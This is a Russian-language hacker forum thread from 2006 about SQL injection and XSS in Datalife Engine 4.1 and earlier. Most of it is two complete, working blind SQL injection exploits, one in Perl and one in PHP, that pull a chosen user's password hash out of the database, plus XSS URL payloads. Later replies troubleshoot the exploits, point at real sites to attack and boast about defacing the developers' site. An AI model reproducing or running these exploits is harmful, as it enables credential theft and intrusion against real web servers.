Web SQL-инъекция и XSS в Datalife Engine <= 4.1

not null · 21.06.2006

SQL-инъекция и XSS в Datalife Engine <= 4.1
Недостаточная фильрация позволяет злонамеренному пользователю выполнить произвольные команды в базе данных и в браузере жертвы
XSS

Код:

/?year=2006&month=26687%3C/title%3E%3C/body%3E%3Cimg%20src=http://ghc.ru/images/rstghc.gif%3E7006&day=11
/?year=2006&month=04&day=68850%3C/title%3E%3Cbody%3E%3Cimg%20src=http://ghc.ru/images/rstghc.gif%3E

SQL-inj exploit:

Код:

 #!/usr/bin/perl

## DataLife Engine sql injection exploit by RST/GHC
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## 18.06.06

use LWP::UserAgent;
use Getopt::Std;

getopts('u:n:p:');

$url  = $opt_u;
$name = $opt_n;
$prefix = $opt_p || 'dle_';

if(!$url || !$name) { &usage; }

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~]      URL : $url\r\n";
print " [~] USERNAME : $name\r\n";
print " [~]   PREFIX : $prefix\r\n";
$userid = 0;
print " [~] GET USERID FOR USER \"$name\" ...";
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name);
if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; }
if($userid != 0 ) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
print " [~]   USERID : $userid\r\n";

print " [~] SEARCHING PASSWORD ...  ";

while(1)
{
if(&found(47,58)==0) { &found(96,103); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar) > 0){
 print qq{\b  [ DONE ] 
 ---------------------------------------------------------------
  USERNAME : $name
    USERID : $userid
  PASSHASH : $allchar
 ---------------------------------------------------------------
 };
 }
 else
 {
 print "\b[ FAILED ]";
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char);
 print "\b".chr($char)." ";
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0]; 
 $xpl = LWP::UserAgent->new() or die;
 $res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*');
 if($res->as_string =~ /$name<\/td>/) { return 1; }
 else { return 0; }
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b/";  }
  if($status==1){ print "\b-";  }
  if($status==2){ print "\b\\"; }
  if($status==3){ print "\b|";  }
}

sub usage()
 {
 &head;
 print q(
  USAGE:
  r57datalife.pl [OPTIONS]
  
  OPTIONS:
  -u <URL>      - path to index.php
  -n <USERNAME> - username for bruteforce
  -p [prefix]   - database prefix
  
  E.G.
  r57datalife.pl -u http://server/index.php -n admin
 ---------------------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }
sub head()
 {
 print q(
 ---------------------------------------------------------------
       DataLife Engine sql injection exploit by RST/GHC
 ---------------------------------------------------------------
 );
 }

Решение: обновиться до версии 4.2
Greetzzz: RST/GHC

Robin Gud · 21.06.2006

а вот ещё один эксплоит уже пхп версия
RGdatalife - exploit (php version)

Код:

<?php
error_reporting (E_ERROR);
ini_set("max_execution_time",0);

echo '
+========================================+
| RST/GHC Datalife SQL injection exploit |
+========================================+
<    >  Lite Version for DLE <=4.1  <    >
';

if ($argc < 2 ){
print " Usage: " . $argv[0] . " <host> <user> [table prefix]\n";
print " ex.: " . $argv[0] . " datalife.engine.net admin\n";
credits();
exit;
}

//DEFINE USER ID
$urla = 'http://' . $argv[1] . '/index.php?subaction=userinfo&user=' . $argv[2];
$result = file_get_contents($urla);
$str1 = 'user='; #index.php?do=pm&doaction=newpm&user=
$position = strpos($result, $str1);

if ($position === false){ print "\n\rSorry, no match found for user " . $argv[2]; credits();}
$str2 = '">';
$pos = strpos($result, $str2, $position);
$pos1 = $position+5;
$user_id = intval(substr($result, $pos1, $pos-$pos1));

print "Trying to get hash for password of user ". $argv[2] ." with id=" . $user_id . ":\n";

//SOME defines (aka CONFIG =))
if (empty($argv[3])){ $prefix = 'dle_';} #define prefix of the tables. try to find it yourself =) it is easy =)
else {$prefix = $argv[3];}
$min = 48;  # 0
$max = 122; # z
if (check(">$min", 1) == 0 && check("<$max", 1) == 0) {print "\n Site is unvulnerable..."; credits();}
for ($sn=1; $sn <= 32; $sn++) {
   blind($sn, $min, $max);
}
credits();


// REQUEST function
function check($crcheck, $sn)
{
   global $argv, $user_id, $prefix;
$host   = 'http://' . $argv[1] . '/index.php'; # argv[1] - host
$name = $argv[2]; #user name
$query  = '?subaction=userinfo&user=' . $name .'%2527%20and%20ascii(substring((SELECT%20password%20FROM%20' . $prefix. 'users%20WHERE%20user_id='. $user_id .'),' . $sn . ',1))' .$crcheck . '/*'; #

$http = $host . $query;
#DEBUG
#print $http . "\n";
 $result = file_get_contents($http);
 
 // checking the answer
 $string = ': '.$name.'</h2>'; #CORRECT it FOR your version, kids =)
#good idea is: 'do=pm&doaction=newpm&user='.$user_id;
 
   if (eregi($string, $result)) { return 1; }

 return 0;
}

//range function
function blind($sn, $fmin, $fmax)
{
 if (($fmax-$fmin)<5) { if (crack($fmin, $fmax, $sn) == 0){print "\n\rEXPLOIT FAILED..."; credits();} return;}
 $compare = intval($fmin + ($fmax-$fmin)/2);
 $crcheck = ">". $compare;
 if ( check($crcheck, $sn) == 1 ) {
    blind($sn, $compare, $fmax);
    }
 else {
    blind($sn, $fmin, $compare+1); }
}

//brute function
function crack($cmin, $cmax, $sn)
{
 for ($i=$cmin; $i <=$cmax; $i++){
   $crcheck = "=$i";
   if (check($crcheck, $sn) == 1){print chr($i); return 1;}
 }
return 0;
}


function credits(){
print "\n\n+========================================+\n\r Credits: 1dt.w0lf & foster \n\r Copyright (c) RST/GHC";
print "\n\r http://rst.void.ru && http://ghc.ru\n\r+========================================+\n";
exit;
}

?>

seeattact · 21.06.2006

не работает!
пишет [~] GET USERID FOR USER "admin" ... [ FAILED ]

not null · 22.06.2006

не работает!

а MySQL >=4-ой версии? Там подзапросы используются

ENFIX · 23.06.2006

DataLife Engine - SQL Injection
Дата Выпуска: 2006-06-22
Уровень: Умеренно критический
Воздействие: Манипуляция данными
Решение: Неисправленно
Software: DataLife Engine 4.x

Описание:
Уязвимость может эксплуатироваться, чтобы управлять запросами SQL
Пример:

Код:

http://[host]/index.php?Subaction=userinfo&user=

Brigada · 24.06.2006

на 4.2 неидёт

GoNZo · 24.06.2006

Да че там говорить о сплоитах или уязвимостях когда создатели даж немогут защетить свой сайт, каму такое гавно нада, а видать нада народ качает...
Вот наглядный пример как создатели защетили свой сайт :fuck:
вобщем быгагагага :crazy:
:screenshot:

Скриншот|Screenshot
[mod][Ŧ1LAN:] Тваю дивизию! Нафига ты сюда это запастил, есть дефйейс лента туда кидай и потом линк давай... и мог бы хотя бы использовать кнопуку скриншот, у людей траф! [/mod]

MACTEP · 24.06.2006

Не, ну зачем уж так порочить-то =)

Nixoid · 24.06.2006

да......уж слишком жестоко продефейсил...
ну да ничего , обидно досадно , да ладно :yinyang:

Popryigun · 24.06.2006

Да немного жёстко...
Разрабы этого движка всё ещё просят денег за свой движок ( кажется там 25$, что бы они убрали рекламу, или что-то типа того )?

Зато сам движок, на мой взгляд, не плох - прост, не требовательный к ресурсам, всё что нужно имеет, и т.п.
[mod][Ŧ1LAN:] Здесь не место чтобы обсуждать двиги! Для этого можешь создать отдельную тему.[/mod]

PagocTb · 02.07.2006

У меня почему то которые на перле и на пхп не идут :angry2: , первый пишет чето FAILED а другой вобще мозг *бет. Пытался на всех версиях начиная с 3.3
Че делать подскажите .... плиз или тут есть ошибка которую надо искать ? :help:

not null · 02.07.2006

Может тебе не везло с серверами? Эксплоиты требуют MySQL >= 4, т.к. используются подзапросы. Старые версии СУБД MySQL не поддерживают позапросы.

Adolf · 12.07.2006

PagocTb
попорбуй вот этот сайтСАЙТ perloвым сплоитом.

Код:

perl название.pl -u http://site.ru/ -n admin

MACTEP · 12.07.2006

Ща поломаем.....

О, народ, заценяйте! =)

http://www.northrpg.net/

Надеюсь, можт после этого мне откроют доступ в раздел Халява..

ЗЫ: пока поку если надо повесить туда рекламу ДЛ, тате тока код =))

Да, и как вам кстати мои анекдоты? =)

Web SQL-инъекция и XSS в Datalife Engine <= 4.1

not null

(L2) cache

Robin Gud

(L1) cache

seeattact

HDD-drive

not null

(L2) cache

ENFIX

(L3) cache

Brigada

RAID-массив

GoNZo

HDD-drive

MACTEP

RAM

Nixoid

HDD-drive

Popryigun

floppy-диск

PagocTb

floppy-диск

not null

(L2) cache

Adolf

RAID-массив

MACTEP

RAM